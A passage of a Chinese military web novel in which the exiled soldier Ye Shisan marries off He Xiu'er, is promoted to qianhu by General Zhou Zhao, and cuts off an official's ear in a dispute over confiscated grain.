叶十三劝阻了叶刘氏,又来到一旁切肉的何秀儿身边,让她别再忙活了,煮肉的事,有蔡一就够了。
何况,叶腊八也在抱柴烧火。
有大锅炖羊肉,就不需要什么别的菜品了。
再说,营房除了还没宰完的几只羊可供食用,再也拿不出能做其它菜的食材。
今天是商定好了何秀儿出阁的日子,稀粥就免了,有炖羊肉吃,就胜过任何的席面。
烤肉不经吃,只有炖羊肉节省,连汤带肉容易吃饱。
要是再泡上几块黑面饽饽,那可就是边城防区最阔气的吃喝。
肉还没煮熟,外面又有了动静。
不过,来的不是迎亲的郑一刀,而是签房大院的值守人员徐才。
徐才是佥事徐老六的远房侄子,也是个军户,只因被鞑子的箭射瞎了一只眼,这才被照顾到签房混事。
“小的徐才,见过叶什长!”
徐才不但带着两名田兵,而且还赶着一辆装满了东西的大车。
一打照面,徐才赶忙就向叶十三行礼。
“你这是?”
心知肚明的叶十三,一指营门口一匹高头骡子拉着的大车,脸上呈现出一副不解之状。
“嘿嘿!”
徐才狡黠一笑,低声道:“村里分东西,当然有烽火台的一份。”
分东西?
这个连一泡狼粪都稀罕的地方,有东西可分,那可真是一件稀罕事。
“哥几个,别愣着,快卸车!”
没等叶十三发话,徐才已经指挥着两名田兵卸车。
一袋袋粳米,麦子,山药蛋,冬天里更加稀缺的窖藏绿头大萝卜,还有一油娄菜籽油,一坛苞谷烧酒。
满满一大车东西,顿时就在营房院子里堆了起来。
徐才扫了一眼地上的东西,附在叶十三的耳边,低声又道:“放心好了叶什长,给沙窝老夫人那边,小的也留了一份。”
叶十三也不客气,嘴角扬起一丝笑意,只是重重地点点头,表示笑纳。
“辛苦了。”
待徐才赶着空车,离开营房大院的时候,叶十三这才客套了一句。
“叶什长留步,小的这就告辞!”
连一口热水都没喝的徐才,赶着卸空了物资的马车,匆匆离开了营房。
“哥哥,有人给咱们送东西了?”
眼盲耳聪的彩儿,总是能及时地捕捉到环境中的一切响动。
望着院子中堆放着的物资,叶刘氏的一颗心,霎时又悬提了起来。
屯田村的人,来送东西,说明不是镇里军部发放的物资。
成天啃着烤地瓜的屯田村军户们,哪有多余的物资往烽火台送?
再说,烽燧兵和军户之间,并无直属关系。
这一点,叶刘氏懂。
“大嫂,闰儿又整事了!”
同样忐忑不安的叶举,把剩下的羊肉拿回屋里,小声和叶刘氏说话。
“二叔,婶娘,闰儿弟弟做事有谱,你们就别担心了。”
叶腊八知道叶举和叶刘氏的担心,这前几天弄死了何正,时隔三天,又弄死了何旺,还抄了何家的财产。
一个能在这边城之地坐大的何家,在镇里的衙门必定有着雄厚的靠山。
这一点,也正是叶举担心的地方。
但事已至此,叶十三想如何?
谁能挡得住?
边城的日子,本就是刀口舔血的营生,没有十足的狠劲,如何在这虎狼之窝活得下去?
何况,叶家人还是被罚役充军的奴籍,是谁都能拿捏踩踏的对象。
谁的手中有刀,谁就能砍出一条真理。
安稳的日子,那是杀出来的。
营房院里,叶十三望着那坛酒,笑了。
有酒,人生就多了三分快意。
一坛酒虽然不多,但是喝上几口,也能压压今日心头的无比烦躁。
既然有了米,那就再焖上一锅干饭。
何秀儿既然是为了一口吃的才来的营房,那就让她美美吃上一顿了出嫁。
“去吧!再焖一锅米饭。”
叶十三站在何秀儿身后,淡淡又是一句。
“嗯!”
低着头的何秀儿,乖得就像只猫一样,转身就按照叶十三的意思去办。
“你也去,切一盘绿头萝卜,再把羊肝捞出来切了,羊肝不能煮太老,得趁嫩吃才有味。”
叶十三吩咐完何秀儿,又吩咐蔡一去弄下酒的菜。
不大一会,已经到了正午。
一阵吹吹打打,喜气十足的唢呐声,远远传了过来。
“快听,接亲的人来了!”
坐在炕上的彩儿,摸到窗户边竖起耳朵又道:“没错,就是接亲的唢呐,他们来了!”
听到呜呜啦啦的唢呐声,还伴着锣鼓的声音由远而近,
再是认了命的何秀儿,此时也不由得偷瞥叶十三一眼。
“得找块红布,给何姑娘当盖头!”
忽然想起来什么的叶刘氏,突然就冒了这么一句。
红布?
在这布料稀缺的边城,羊皮倒是有的,红布那得去镇上的布庄才有买。
“不用了!”
正当叶十三手无举措的时候,何秀儿目光往向炕上的叶刘氏,娓娓说道:“民女落难之人,有个去处归宿,本就很知足了,这些俗礼免了就是。”
何秀儿的话,引得蔡一心头一阵酸楚,不由得偷瞥了叶腊八一眼。
她心里清楚,或许用不了多久,她就会和这个男人睡在一起。
叶十三的娘,前几天已经有意无意地暗示过她。
嫁给叶腊八,就等于是有了长久的庇护,因为叶腊八是叶十三的堂哥。
而她蔡一,就会成为叶十三的堂嫂。
说话间,欢快的唢呐声,已经到了营房外面。
第48章 这声音,熟悉
唢呐声突然停了,有人在营房门外高喊起来。
“吉时已至,迎亲队伍到门!”
喊声一落,门外众人齐声又是一阵附和。
草,这声音,熟悉?
听到前来迎亲的队伍到了,蔡一赶快扶着下了炕的叶刘氏,彩儿又拉着叶刘氏的后衣襟,急急忙忙迎出门外。
果然是徐才那小子,一看到有人迎了出来,赶忙一揖到底,扯起嗓子又喊起来。
“长辈在上,今日前来迎娶新娘,望得应允?”
这一喊,倒让叶刘氏慌了。
在这地方,何秀儿哪来的长辈?
这门亲事,算是叶十三乱点鸳鸯谱,拿何秀儿作谢仪,顺口赐给铁匠郑一刀而已。
不过,当时叶十三借着玩笑话,算是给二人牵了个线,见二人相互之间并无异议,这才算是成就了一门姻缘。
“娘,您说句话!”
叶十三看到叶刘氏的慌乱,上前附身,低语一句。
得到了提醒的叶刘氏,慌忙说道:“有请各位喜客,里边入座。”
叶刘氏的这一句,算是得到应允,徐才带头,娶亲者们鱼贯而入,来到院内站了。
此时,何秀儿从屋里出来,站在屋门口向来人款款一礼。
徐才见状,那只独眼中腾起一丝亮光,扯起嗓子又喊道:
“新娘美若天仙,吾等恭迎归宁。”
跟在徐才身后前来娶亲的田兵们,又是高声重复了一遍。
待喜词拖得长长的尾音落下,
原本神色暗淡的何秀儿,也不觉含羞低头,眼中有泪花在闪动。
蔡一眼尖,松开了扶着的叶刘氏,走到何秀儿身边,拉着何秀儿的手,就进了何秀儿临时住的屋子。
这时候,叶刘氏这才完全回过神来,新人上轿,那可是要梳妆打扮的呀!
一顶简易轿子,已经被田兵们抬进了院子。
一身旧衣洗得干净的郑一刀,把拄着一支拐子夹在腋下,双拳一抱向叶刘氏行礼。
“晚辈见过叶老夫人,见过小姐,见过叶什长!”
这一通问候,窘迫得叶刘氏又是一阵慌乱,连声说道:“外边冷,都别傻站着,快请屋里暖和。”
说完,叶刘氏拉着彩儿的手,急匆匆就去了何秀儿的屋子。
毕竟,她也不是何秀儿的娘家长辈,娶亲者的一应礼数,那都是冲着叶十三来的。
这一点,都懂。
“屋里坐,酒饭刚好,就等喜客登门了。”
叶十三笑着,大手一挥,率先进了屋子。
他不走在前面,没人敢抢在前头进屋。
待一行娶亲人落座,叶十三这才知道,由于徐老六公务在身去了镇里,这形式上的主事,自然就由徐才这货一肩挑了。
徐才前脚送完物资,后脚又带着娶亲的花轿,急匆匆又折了回来。
提前把物资送过来,好让叶十三这边也有个准备,毕竟是营房这边给何秀儿出阁。
“叶什长,郑某也没有拿得出手的喜礼奉上,实在是惭愧。”
郑一刀一脸愧色,难为情地望向叶十三。
“不必如此麻烦!”
叶十三摆摆手,摇头道:“原本以为,待前辈收拾好了住处,接何秀儿过去住就行了,没想到前辈还有这礼规,也好,也好!”
说话间,叶腊八把一盆带汤羊肉端上桌。
方才叶十三让蔡一弄好了的两样下酒菜,也一并端了上来。
有酒,就不缺气氛。
尤其是喜事,更少不了酒的衬托。
大口吃肉,大口喝酒,营房里顿时就充满了喜气。
炕上一桌,地上一桌,凡是娶亲的来者,羊肉管够,干饭管够。
营房的另一间屋子,在叶刘氏的指点下,蔡一很快就给何秀儿挽好了头发,看着毫无装饰的发髻,叶刘氏心头一阵难过,顺手拔下自己发髻上的一支骨钗,就别在了何秀儿新梳的发髻上。
这根骨钗,那是在流放充军的路上,叶刘氏从路边捡来的一根不知来源的骨头,趁着打尖露营时在石头上磨制而成。
她原本不少的玉簪、银钗,被打入奴籍后,早被官府的人搜了个干净。
这支色泽淡黄,不知来历的骨钗,此时成了何秀儿唯一的嫁妆。
一顿简单而又扎实的迎亲酒饭很快结束。
蔡一把没有红盖头的何秀儿扶上花轿后,徐才扯起嗓子又喊道:“起轿,回府!”
四名抬轿的田兵,也跟着重复了一声“起轿回府”,娶亲的队伍一路吹吹打打,出了营房就直奔屯田村。
没有人像以往那样派专人送亲去屯田村,何秀儿就像一头易主的牛羊,被新的主人牵去了一个新的圈舍。
望着娶亲的队伍拐过沙梁不见时,叶十三这才打发叶腊八,让带上一袋粳米,还有剩下没煮的那半只肥羊,送叶刘氏母女回沙窝。
营房里少了做饭洗衣的何秀儿,望着炕上何秀儿之前躺过的地方,心里一阵空落的叶十三,把酒坛中剩下的酒喝了个精光后,这才昏昏沉沉爬上炕倒头睡去。
……
烽火台上,马成伸着脖子,望着娶亲的队伍离开营房。
“郑一刀这老小子,真他娘的艳福不浅!”
丁威瞥了一眼一脸馋相的马成,讥笑道:“人家郑瘸子,可是给什长大人有铸刀之功,你眼馋个屁!”
“那也算刀?”
马成一脸不屑,愤愤又道:“那货也就是糊弄糊弄叶什长,要是换成老子,非把他的另一条腿给打折不可。”
“行了!”
丁威从怀里掏出两个烤得焦黄的山药蛋,丢一个给马成,道:“不是你的,就别惦记了,那娘们,说不定早让什长给办了。”
“不会吧?”
马成接住山药蛋,啃了一口说道:“要是那样,叶什长早留着那娘们夜夜享用了,还轮得着郑一刀那老小子消受?”
“啧啧!”
丁威把半块烤山药蛋吞进肚里,摇头道:“不过,那娘们还算俊俏,毕竟是没出阁的姑娘家,不是张寡妇那等蒲柳之姿远能比的。”
一提张寡妇,马成差点被山药蛋噎着,瞪圆了眼珠子把口中的山药蛋使劲咽了下去,喘过一口粗气,这才说道:“那婆娘,除了一身骚劲和一身肥膘,还是个不祥之物。”
这话,引起了丁威的不瞒,狠瞪马成一眼,道:“别吃不到葡萄说葡萄酸,之前张寡妇傍着高五的时候,你几个不照样馋得直流口水?”
“屁话!”
马成眼睛一瞪,讥笑道:“就是馋张寡妇那身肥膘,也比牛羊强,比何虎和陈四狗他们有人性,那俩畜生,羊都不放过。”
“行了!”
扯到已经死了的何虎和陈四狗,丁威一脸鄙夷,压低了声音说道:“别翻旧账了,和叶什长不对路的那些,已经赶去投胎了,眼下我们四个,可得和叶什长保持一条心。”
这话没错!
马成顿时就闭了嘴,讪笑着不再乱说。
眼下的烽火台,已经减员一半。
但也都是叶十三看过眼的人,以后如何相处,想必他四人心中都有数。
别说弄死一个烽燧兵,就是家大业大的何家,不照样完蛋?
马成向来十分油滑,立刻满脸堆笑,“咱哥俩说来耍笑而已,跟着叶什长干,绝对有前途。”
前途不前途先不说,就叶十三不克扣粮饷这一点,就已经和之前的高五有着云泥之别。
加上叶十三强悍的战斗力,那可是黄羊岘烽火台的顶梁柱。
屯田村的佥事徐老六不傻,和叶十三朝昔相伴的这四人更是不傻。
得罪了叶十三,绝对没有好果子吃!
“你说说,抄了何家,那么多的田产该如何分配?”
收敛了嬉笑的马成,终于提到了一个至关重要的问题。
“这个……”
丁威眉头紧蹙,思忖片刻,这才缓缓说道:“要是何家真翻不了案,军部会把何家的田产归公。”
这句话,听得马成十分使用。
在赌坊的时候,赢了何旺的叶十三,那可是分给了他家一百亩的田地啊!
就是军部把何家的田产归公,有自己手里的那些田契在,那百亩田地就归了芦河湾村的他家。
一想到这些,马成心里顿时涌起一股暖流。
他决定,不等叶十三使唤,他也要主动替叶十三干点什么?
如此想着,刚一抬头,忽然看到营房南边的方向,一队人马向这边疾驰而来。
第49章 服你娘个蛋
马队激起的烟尘,霎时就漫天飞舞。
战马的嘶鸣声,和马蹄奔腾的雷动声交织在一起。
“丁威,元蒙**来袭,快点烽升燧烟!”
霎时,被惊出了一身冷汗的马成,急得叫喊起来。
“不对,方向不对!”
垛口的丁威,此时也看到了远处遮天蔽日的烟尘。
“好像,是从镇里方向过来的?”
镇里?
马成松了口气,刚拿起来的**,又被放了下来。
营房南边不远处是通向周围各村的官道,烟尘大起之处,是一片黄沙滩。
马队是直接下了官道,绕开去屯田村的路口,直线奔这边而来。
马蹄声越来越近,几乎听得到被烟尘淹没的马的嘶鸣声。
不大一会,马队在营房外面停了下来。
烟尘继续在营房上空扩散,隐约可见,人马数量足有二十多人。
与此同时,倒头睡着的叶十三,耳根突然一阵急抽。
敌袭?
一骨碌爬了起来的叶十三,那把不离身的残刀,已经被紧握在手中。
大地的震动,让他在第一反应下冲出了屋子。
弥漫着烟尘的营房外面,叶十三看到下了马的一群人正向营门走来。
不是元蒙越界**偷袭?
待来人走近,看到徐老六大步流星走在最前面,身后跟着的,却是一个浑身甲胄,倒提着一根马鞭的大胡子男人。
北防军?
没错,从肩头的铠甲图案看,而且军职还不低。
锁子甲?
是个将领!
而且这种甲胄,是北防军独有。
如果是偷袭的元蒙**骑兵,怕是早已策马越过营栅冲到眼前了。
“来者何人?”
叶十三抱着残刀,站在营院中央,喷着满嘴的酒气,装模做样地大吼了一声。
“叶什长,军部来人了!”
徐老六的声音,带着激动,又透着喜悦。
将领身后,跟着十几名队列整齐的随从。
走在最后的,才是跟随徐老六押解着何攸之去了镇里的几个田兵。
“周将军,您这边请!”
到了门口,徐老六往一旁一闪,恭敬地把北防军将领周钊让在前面。
待走到近前,叶十三这才发现,这个北防军的将军,年龄也就三十出头。
这个年纪,能在北防军中带兵,实力一定不俗。
“你,就是叶十三?”
来人进了院子,围着叶十三转了一圈,突然问了一句。
叶十三强装镇定,铿锵答道:“回将军话,小的就是叶十三。”
“好啊!”
绕着叶十三顺转了一圈的北防军将领,又围着叶十三倒转起来说道:“一个奴籍兵卒,短短几天混到代什长位子,果然是有两下子。”
这左一圈,右一圈的,就像在观看一头怪物。
一旁的徐老六眼珠子一阵转动,向叶十三拱手一礼,道:“叶什长,这位是军部周钊周将军。”
“周将军莅临黄羊岘烽燧兵营房,不知有何指令?”
叶十三不亢不卑,傻呆呆地抱着残刀站在原地。
鸟人!
看够了没有?
要是看够了,就给老子说说你来此何干?
面对转着圈看一头怪物一样的周钊,叶十三的肚里早骂开了锅。
“的确与众不同,骁骑尉大人所言不虚。”
周钊停止了绕着叶十三转圈,点头又道:“自古英雄出少年,是个不可多得的将才。”
“不过,你也别高兴太早。”
夸赞一番后,周钊立刻又给叶十三泼了一瓢冷水。
没等叶十三反应过来,周钊不请自入,昂首就进了屋子在椅子上坐了下来。
还行,不扭捏,也不飞扬跋扈。
叶十三斜瞥周钊的背影一眼,算是心里也给周钊打了分。
紧跟了上来的徐老六,暗暗拉了一下叶十三的衣袖,进了屋后在周钊身旁立了。
叶十三这才进了屋子,身子向前一躬,拿着刀抱拳说道:“小的叶十三,见过周将军。”
“免了!”
周钊大度地摆摆手,道:“成大事者,不拘小节,既然方才已经见过了,就不必再多礼。”
周钊的随从,也进得屋里,齐刷刷立在两旁。
到底是北防军的常规部队,兵士的一举一动,和徐老六手下的田兵,还是有着很大的差别。
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“本将这次前来,好坏各占一半,不知道你先听坏事,还是先听好事?”
周钊卖了个关子,目光灼灼紧盯着叶十三。
“既然好坏都有,那么小的就先听坏事吧!免得一会懊恼。”
叶十三倒也不扭捏,摸不定周钊意图的情况下,还是选择了前者。
“好!够爽快。”
周钊面色瞬间骤变,厉声道:“身为戍边烽燧兵,擅自越界行动,你可知罪?”
面对周钊突来的一问,叶十三不禁心头一凛。
镇定片刻后,缓缓答道:“将军明鉴,我黄羊岘烽火台值守烽燧兵,饷不继日,衣不御寒,越界偷袭敌营抢粮,此乃不得已而为之。”
“要是本将治你目无军纪,枉顾军法,破坏邦交,致朝廷外事被动,将你砍了以正军规,你可心服?”
服你娘个蛋!
别说你是个将军,胆敢真杀老子,老子也不是吃素的,定叫你这鸟人血溅五步。
心里如是骂着,叶十三面上还是镇定自若,胸膛一挺淡淡说道:“刀在大人手中,小的何谈服与不服?”
“此话怎讲?”
周钊眉头一皱,厉声又是一问。
叶十三目光看向屋外片刻,神情一片肃然,缓缓又道:“我大夏疆土,屡遭**侵扰,边城百姓屡屡被抢,**,小的只是为值守的弟兄们夺一口活命之粮,为可怜的边民抢几头牛羊,这颗脑袋,不要也罢!”
说完,叶十三闭起眼睛,但一只手却暗暗握紧了手中之刀。
“哈哈哈……”
突然,方才面色阴沉得能拧出水来的周钊,仰面狂笑不止。
“好样的!”
笑够了的周钊,居然向叶十三竖起一根大拇指。
脸上汗水津津的徐老六,也是暗暗长出了一口气。
周钊的脸,就像六月的天,方才阴云密布,此时笑容满面。
“坏事说完了,就此不提,本将就说好事吧!”
说着,周钊站了起来,向前走了两步,伸手接过一侧兵士递上来的军函,扫了一眼后,抬起头来正眼望向叶十三。
嘉奖令?
叶十三心头陡然一惊,突然冒出一个期盼已久的想法。
第51章 这**就是个坑
二天大早,营房就被人围堵了。
叶十三带上马成,匆匆下了烽火台。
“千户大人,是各烽火台的伍长们。”
待走近一些,马成认出了围堵在营房栅门外的那群人。
以黄羊岘烽火台为主,东西各分布着另外九座烽火台,是同属一个管辖机构。
“这帮家伙来得挺早,看来天不亮就出发了?”
马成嘟囔着,又道:“可能是前来报道,要参见千户大人您的。”
待走到跟前,叶十三看到的,却是一张张目光轻蔑,傲气十足的脸。
看着这些人和讨债鬼一样的嘴脸,叶十三顿时急急皱起了眉头。
“诸位来了?”
马成挤出一脸的微笑,拱手又道:“还不赶快见过千户叶大人?”
不用马成介绍,这些人猜都能猜得出来眼前之人是谁?
这一线的烽燧兵们,相互都认识,大多都是附近几个村里出来的人。
只有叶十三看着面生,那绝对就是刚混上了千户位子的那个奴籍兵卒。
一个奴籍,居然混上了千户职,不知道是给上面塞了多少银子?
反正,这些人心里都是如此想的。
至于嘉奖令中所杀的那些**兵,这个完全可以编造杜撰,反正除了黄羊岘的烽燧兵以外,他们又没亲眼看到。
再说,之前的伍长和什长都**,谁知道是**的?
何况,就黄羊岘烽火台,直接战损一半。
说不定,是那五人杀了个把**,军功却被这个奴籍兵卒冒了。
被贬为奴籍充军到此的人,大多都是内地有门庭的家族,拿银子巴结上面,那是最有可能的。
既然马成把话挑明了,这些人也就躬身拱手。
“沙窝梁烽火台……”
“五里营烽火台……”
“交河埠烽火台……”
“狼嚎岭烽火台……”
“鹞子岭烽火台……”
“兔窝堡烽火台……”
“落雁坡烽火台……”
“通古驿烽火台……”
“……”
九个烽火台的伍长什长,相继都报了名字,叶十三却一个都没记住。
叶十三挺了挺胸,拔直了腰杆,道:“诸位辛苦,先到营房歇着,外面太冷了。”
时值隆冬,不冷才怪。
“谢叶千户大人……”
众人又是拱手一礼,全部进入营房的屋子坐了。
这些烽火台比较分散,有的和村子挨着,有的纯属建在荒野地带。
他们看得出来,马成现在是这个叶千户的跟班亲随。
但从他们刚才对叶十三的打量中,并没有发现这个新上任的下千户叶十三有何出众的地方。
就那懒散样子,一个嘴巴就能抽得他翻三个跟斗。
还杀**?
屁!哄鬼去吧!
众人心中如是骂着,但叶十三已经被晋升为下千户,那就是大他们五级都不至的人物了。
尽管心里有百般的不服,但也不敢明着说出来。
不管如何,人家再是草包,那也是千户职。
是统领这一带烽火台驻军的最高军事长官。
眼下,算上黄羊岘烽火台的烽燧兵,加上两个大村里的游击驻军,说是五百兵数的驻防兵力,其实兵数还不足八成。
虚报兵数,冒领空饷,那在军中并不少见。
要是再筛选掉一些病弱老残,有实战能力的兵卒,估计在此基础上还要减少两三成。
就是如此虚报冒领,但发到手的粮饷,也是少得可怜。
层层盘剥,已经到了惊心触目的地步。
“大人,他们有可能是听到了风声,前来要粮饷的。”
趁着叶十三去茅厕的空子,马成赶了出来提醒了叶十三一句。
他看得出来,这些人绝不是只为参见新长官而来,这是伸手要钱,张口要粮来了。
烽燧兵和沿线驻军的粮饷被克扣、拖欠,那是常有的事。
叶十三有些觉得,他辖下的这些兵马,倒像是前世现代自负盈亏的保安公司。
凡是吃的用的,一应所需,都得他这个私企老板来解决。
草!
什么晋升?
这**就是个坑。
拉了一泡屎也没把肚里怨气泄掉的叶十三,稳稳神后,拔直了腰杆又进了屋子。
一进屋,就有一个伍长站了起来。
“禀千户大人!”
伍长躬身拱手,道:“兔窝堡烽火台年久失修,燧道塌陷,拦马沟被暴雨冲毁已有半年之久,在编兵数五人,已有两月未见粮饷发放。”
“禀千户大人,鹞子岭烽火台,有两人抚恤金至今还未发放,而且战损二人的空缺,还未补上。”
另一名伍长也见机站起,深躬一礼后报上了现状。
紧接着,沙窝梁、五里营、交河埠……烽火台剩下的伍长什长们,纷纷起立大倒苦水。
无一不是要钱,要粮,要人。
草!
这才是九个烽火台的伍长什长们,要是驻军的两个百夫长带上六个甲正来,再向他这个头顶军衔,手中无钱的千户要这要那,就把查抄了何家的钱粮全部拿出来都不够分配。
“去,你喊丁威过来,趁着大家都在,开会。”
眉头紧蹙的叶十三,让马成去烽火台换丁威来营房。
眼下,丁威还是黄羊岘烽火台的伍长。
片刻后,丁威到了。
叶十三目光一扫全场,望着一张张讨债鬼似的脸,知道该如何做了。
一,二,三……十锭雪花银被放在桌上。
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每锭十两,共一百两。
“诸位,军部无另外的军饷发放下来,此银数量不多,大家各拿十两以解眼下之急。待日后有军资配发下来,本千户再另行分配。”
叶十三说完,端起眼前早已凉透了的半碗隔夜茶张口就喝。
“千户大人不可!”
见叶十三如此,丁威大惊道:“这一百两银子,那是分给大人您的赏银,这份奖赏本来就不多,大人要是全给了他们,您自己咋办?”
丁威知道,这一百两银子,是昨晚平分了的那份。
是叶十三泼了命挣来的军功。
“呵呵!”
不料,叶十三一笑,淡淡道:“大惊小怪,本千户还以为你说这茶不能喝呢!”
说罢!叶十三把喝空了的茶碗,往桌上一放。
这一下,在座的九人不淡定了。
这新上任的叶千户,把自己的一份赏银,均分给他们。
“丁伍长,你也拿十两,给弟兄们填补点过冬的衣物。”
丁威昨晚和其他人一起,已经每人平分了一百两银子,这本来就是为家里人得了一笔巨款。
但眼下叶十三又一视同仁,把他的那份,再次平分给他们这些伍长什长。
“千户大人不可啊!”
丁威眼眶一红,当场就给叶十三跪了下来。
“还请大人收回成命,您家里也有老娘和妹子要养活,就这一百两赏银,小的们都拿走了,您家里该如何办?”
丁威的话,同时也让其他九人心头一震。
“拿着,这是命令!”
叶十三骤然变脸,冷声就是一句。
军令如山,谁敢不从?
何况,这是发银子,又不是去送死。
“遵命!”
丁威站了起来,走动桌前抓起一锭银子揣进怀里。
另外九人见状,也纷纷上前,抓起银子就紧紧攥着,生怕慢上一步叶十三会改变主意。
见众人拿了银子,叶十三又道:“即刻起,现有伍长升什长,原什长不变,但每月饷银加二两银子。”
“谢千户大人!”
面上神情一愣的几个伍长,霎时就跪下听令。
叶十三嘴角一扬,又道:“眼下天寒地冻,除了流沙地带以外,其余地带无法修筑工事,关于一切防御工事,要等天暖再说。”
“你们现已都是什长职,有缺编的烽火台,自行补够兵数,眼下战事随时都会爆发,你们都给我把眼睛擦亮了。”
叶十三画完饼,又补充了一句。
要得带好这班人马,必须让他们尝到甜头看到希望,但也不能由着他们乱来。
如此一想,叶十三站了起来,向丁威道:“煮饭,吃完后跟我去一趟芦河湾村,何家那边,军部还欠着给我们的嘉奖。”
第52章 只有刀,才是讲道理的资格
芦河湾村?
去何家?
对此还不知情的九个什长们,顿时就一头雾水。
心里明镜似的丁威可就不一样了,也只有他参与过此事。
一百两银子,又分一百亩田地,这让黄羊岘烽火台他们四人的家人,一下子就跨越了阶层。
至于那些田地能产多少粮食暂且不论,光昨晚分的那一百两白花花的银子,就足够他的家人三五年不愁吃喝,而且还是有酒有肉,有棉有单轮换穿衣的富足日子。
可那些什长们如何?这丁威心里就没数了。
这帮人,也是穷苦怕了,更不是什么好鸟。
如此一想,丁威把牙一咬,又往叶十三面前一跪,道:“从此时起,我丁威,若敢背叛叶千户大人半分,甘遭天打五雷轰……”
草!
还发起毒誓来了?
霎时,叶十三就明白了丁威的意思,这货怕他镇不住这些什长们,这才带头表明心迹。
“行了!”
叶十三摆摆手,沉声道:“都是戍边的兄弟,见外的话就不说了,能用刀做的事,就不用废话了,和我对着干的,下场绝对好不了!”
“谁要是敢和千户大人对着干,首先,我丁威手中的刀不答应。”
既然表明心迹,那就彻底一点,丁威借着叶十三的话,又是放了一通狠话。
显然,这些话都是说给在场的人听的。
这话,听着受用。
叶十三面上不动声色,嘴上却是冷声道:“吩咐叶举煮饭,大伙这么远路赶来,肚子先吃饱了,你再跑一趟屯田村,借二十名田兵和十辆大车,饭后开拔芦河湾村。”
一听有饱饭吃,而且还有行动,九个什长顿时就振奋起来,他们也想看看这个奴籍出身的千户,究竟有多大的能耐?
叶十三的话,丁威心领神会。
他知道,叶十三要给自己立威,但也要杀杀这些什长们的威风。
这些什长,曾经也都是北防军中的刀弓好手。
趟子手和步弓手,都是步军中的狠角色。
如果镇不住这些人,以后的麻烦事定会不少。
叶十三面上虽然没有表露出来,但心里何尝不是这样想的?
多亏徐才送来的物资,粳米的干饭,直到把九个什长吃撑。
叶十三让叶举往烽火台送早饭的时候,带话给马成,让他抓紧时间吃饭,然后去芦河湾村。
营房里的**战马,霎时就引起了什长们的注意。
这马,就是比他们骑着的马要好。
难道,这奴籍兵卒,真的杀过**骑兵?
不一定,拿钱或者粮食,私下也可以和**做交换交易的。
在边区,没有什么不可能的。
一些商人,本身和奸细没多大的区别,只要有利可图,还有什么事他们干不出来?
九个什长,还有叶十三和马成与丁威,加上二十名田兵,骑马赶车的就奔向芦河湾村。
这一次,用不着徐老六出面。
到了何家,发现镇里来的人已经到了。
偏院的被封的门已经被打开,地方衙门的人,正忙碌着装车运粮。
何家被就地关押的老小们,女的充官妓,男的罚苦役,已经被地方衙门造册登记后另遣他处。
衙门的人验过叶十三的腰牌,这才允许叶十三进入何家大院。
“听好了,上面说了,只允许你带走二十石粮食。”
说话的是一名甲正,瞥了一眼叶十三带来的十辆马车,当即就给叶十三限定了数量。
叶十三嘴角一阵急抽,冷冷说道:“周钊将军不说答应过本千户,封存的粮食,要留三成由我支配,怎么,到了你这里,又给变了样?”
二十石?
那只是何家屯粮的一个库角,占屯粮数量的百分之五六还差不多。
再是徐老六安排人偷运了一些给屯田村,但那也是只占总数的一部分,就剩下的粮食数量的三成,也要远远大于甲正口中的二十石。
面对叶十三的质疑,甲正嘴角一拧笑道:“知足吧叶千户,就这,要不是周钊已经答应了你,衙门还不给你留呢!”
衙门?又是衙门。
看来,这何家死而不僵,背后的势力已经处处和他作对了。
“按三成数量,本千户得带走一百二十石粮食。”
叶十三当仁不让,态度十分强硬,又道:“马车我都准备好了,今天非装够了数不可。”
此言一出,甲正面色微变,一只手高高举起,马上就有百十名兵卒就围了过来。
“千户大人,都是当差吃官饭的,你别为难兄弟。”
甲正话词虽软,但口气却硬。
“这里面,千户大人得到的够多了,怎么着也让上面的人有口汤喝,要是闹僵了,大家的脸上都不好看。”
仗着人多,甲正的口气,已经透着一丝威胁的味道。
一个甲正,敢在叶十三面前放肆,说明他的后面,一定是有人做了安排。
“刘大人,你这是在和叶千户大人说话吗?”
步弓手马成,阴沉着一张脸,缓缓走到甲正面前。
“滚开!”
被称作“刘大人”的甲正,斜瞥一眼马成,顿时怒吼道:“一个兵卒,敢在我**尧的面前叫板,你还不够资格。”
不料,马成并不怵这个身为甲正职的**尧。
“都老熟人了
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,还是相识点好!”
马成轻蔑一笑,又道:“刚入伍时,你我都是游击大人的部下,马某佩服你溜沟子拍马屁的本事,都在地方衙门混上甲正了,但马某今天,还是个步弓手,但你一个甲正,叫板叶千户大人难道就有资格?”
这一问,**尧面颊一抽。
他万没想到,马成会跟他叫板,而且还铁了心的拥护叶十三的面子。
这时候,丁威也挤到了前面,冲甲正拱手道:“刘大人,这三成的粮食,还有五百亩田地,军部已经嘉奖给千户叶大人了,镇里衙门,总不能和军部作对吧?”
“放肆!”
看到又有人出来替叶十三鸣不平,甲正勃然大怒,吼道:“晋升一个奴籍兵卒,这已经给他的杀敌之功进行了嘉奖,但一应物资分配,那是衙门的权力,岂是你等能妄议的?”
看来,讲理是讲不通了。
那就用刀说话,只有刀,才是讲道理的资格。
叶十三的眼中寒芒闪现,那把刀,已经在怀中抱着。
看到如此阵势,田兵和九个什长,站在一旁的马车后面踌躇不前。
“给老子让开!”
叶十三开口了,目光冷冷望向**尧。
“叶千户,下官奉劝你别犯傻!”
**尧更是不惧叶十三的千户身份,依然口气坚硬。
叶十三眼中的杀气越来越浓,抱在胸前的双手,已经放了下来。
那把刀,已经被握在手中。
看到叶十三并无妥协的意思,**尧带来的兵卒,纷纷把手按在腰间的刀柄上。
“我说过,今天,三成的粮食我一粒不少地要带走,还有何家之前的田地,得划分出五百亩来给我,这是我应得的嘉奖。”
“叶千户,别做梦了,见好就收吧!有些人,不是你一个千户就能得罪起的,你应该是个明白人。”
**尧满脸都是不屑,轻蔑地回了叶十三一句。
叶十三笑了,笑得有些诡异。
在紧盯着**尧的脸片刻,缓缓说道:“我能得罪起谁?那是以后的事,可你,一个小小的甲正,已经得罪我了。”
“仓啷!”
叶十三的话刚落,手中的刀已经出鞘,只见寒光贴着**尧的面颊一闪,**尧的一只耳朵,在半空划过一道弧线后,“啪”一声就掉在一丈开外的地上。
**尧一愣,只见一片枯叶,被风吹落在眼前五步处。
“血……”
站在**尧身侧不远的一名兵卒,指着**尧的脸惊呼起来:“流血了,大人的耳朵……”
此时,**尧还浑然不觉,掉落在地上的那片枯叶,正是他的一只耳朵。
第53章 那你尝尝它是不是刀?
这一幕,惊呆了在场是所有人。
包括叶十三自己带来的什长们,万没想到叶十三会向衙门的人动刀。
“反了,你,你敢行凶?”
已经被一阵疼痛激得反应过来的**尧,一手捂着喷血的耳根,惊恐地向后退着又吼道:“再是边防驻军,也由不得你胡来。”
